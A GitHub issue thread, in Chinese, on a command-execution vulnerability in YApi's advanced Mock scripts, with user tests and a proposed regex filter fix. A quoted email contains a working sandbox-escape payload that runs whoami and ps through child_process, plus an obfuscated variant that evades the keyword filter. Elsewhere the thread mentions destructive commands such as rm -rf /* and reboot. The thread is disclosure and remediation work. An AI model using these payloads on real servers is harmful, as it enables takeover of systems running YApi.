-
Notifications
You must be signed in to change notification settings - Fork 4.8k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
高级Mock可以获取到系统操作权限 #2099
Comments
虽然作者停止维护了,但是还是希望作者把这个安全漏洞修复一下。感谢 |
安全因素主要来自于开放注册 |
感谢。 |
感觉这个漏洞并不是主要来源开放注册,如果只是一个人使用那么这个漏洞也无从说起,但是该漏洞代表所有账户中有权限建立接口的人都能操作部署Yapi的服务器,那么已经存在的账户,每个团队成员都是隐患。 |
如果关闭注册,那么第二个问题来了,管理员如何新增新用户? |
如果真的是这样,那就太危险了。 |
|
还真的如此,但是本质原因在哪里呢,是代码漏洞,还是安装的时候使用root权限? |
目前采用的是LDAP。 |
|
还有其他高级mock脚本吗,执行shell命令,越危险越好,我试试,在1.3.2版本,高级mock目前不会有问题 |
rm -rf /* 还不够危险吗 |
不会啊,我改成reboot命令,执行,{"errcode":404,"errmsg":"不存在的api, 当前请求path为 /shell-top, 请求方法为 GET ,请确认是否定义此请求。","data":null}是不是child_process返回执行必须是json格式?还是说你的Mock脚本是个例外。 |
莫非,shell命令已经执行了,只是yapi返回解析错误? |
|
呵呵,还真可以,原来一直报错,是因为方法是POST,直接reboot了
|
LDAP 怎么搞?@ |
百度、google v🤣 |
🤣🤣 |
希望YAPI最后能把这个问题修复,这个真的是大大的bug |
@hellosean1025 高级mock危险漏洞 |
作者可能已经放弃维护了 #2092,还是先靠自己慢慢修复吧(比如彻底关闭高级mock功能),现在这个漏洞基于你对现有用户的信任了,如果有不信任的用户,还是建议在漏洞修复前先停止yapi服务了 |
issue里并没有官方人员说放弃维护啊?哪里说了? |
|
哦,我以为自己markdonw 写的
|
确定不是自己MD?难不成想说是Microsoft问题?🤣🤣🥱🥱
|
同样是1.9.1,https://yapi.baidu.com/则不可以执行高级mock,而从git clone https://gitee.com/mirrors/YApi.git vendors离线安装,脚本则会获取系统权限,是gy的吗? |
|
说下我的修复方法:
然后修改/server/utils/commons.js文件,找到:
|
其它地方OK,不过你们测试过这句正则嘛 同时const filter = 'process|exec|require'; 可以再增加一个spawn,它也是nodejs里执行命令的函数之一 |
正则我也测试了一下,确实如老哥所说,我擦。还好老哥提醒了。 |
老哥稳 这个正则确实有点问题,加了中括号匹配到的是区间而不是字符串匹配,大意了 |
没事的哈,也是站在老哥的肩膀上的 |
关于这个bug我还有个疑问,如果写成这样的形式mock中的非法指令能否被执行? 同理如果将mock中的命令: 改写成: 这样不就可以绕过正则了吗?这段代码我没有测试过,希望有条件测试的能试下能否执行? |
我测试了,如果不加正则,你的方式同样可以执行命令,但是加了验证之后,该方式无法绕过。
另外,你poc 少了个return。
…------------------ 原始邮件 ------------------
发件人: "YMFE/yapi" ***@***.***>;
发送时间: 2021年7月9日(星期五) 晚上6:11
***@***.***>;
***@***.******@***.***>;
主题: Re: [YMFE/yapi] 高级Mock可以获取到系统操作权限 (#2099)
关于这个bug我还有个疑问,如果写成这样的形式mock中的非法指令能否被执行?
我在控制台做了测试,得到的结果是这样的
const arr = [1,2,3]
const a = 'len'
const b = 'gth'
arr[a+b]
执行结果: => 3
同理如果将mock中的命令:
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("whoami && ps -ef").toString()
改写成:
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const fcReturn = [' pr', 'ocess']
const myfun = FunctionConstructor(fcReturn.join(''))
const $pcess = myfun()
const $cdp = ['child', '_', 'pro', 'cess']
const ec = 'ex'
const sync = 'ecSync'
const cmd = ['who', 'ami && ps -ef']
mockJson = $pcess.mainModule.require($cdp.join(''))[ec + sync](cmd.join('')).toString()
这样不就可以绕过正则了吗?这段代码我没有测试过,希望有条件测试的能试下能否执行?
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub, or unsubscribe.
|
|
请问这个问题现在官方修复了没有 |
您好 您的邮件已收到。稍后给您回复。
|
被这个漏洞害死了,有补丁包吗 |
版本号
~
1.9.2
什么问题
~
高级Mock可以获取到系统操作权限
如何复现此问题
~
在接口中文档中 添入如下 mock 脚本
保存后,直接请求 对应的 Mock 地址
Mock地址:http://xxxx/mock/77/xxxxx
可以看到如下信息
什么浏览器
~
chrome
什么系统(Linux, Windows, macOS)
centOS 7
The text was updated successfully, but these errors were encountered: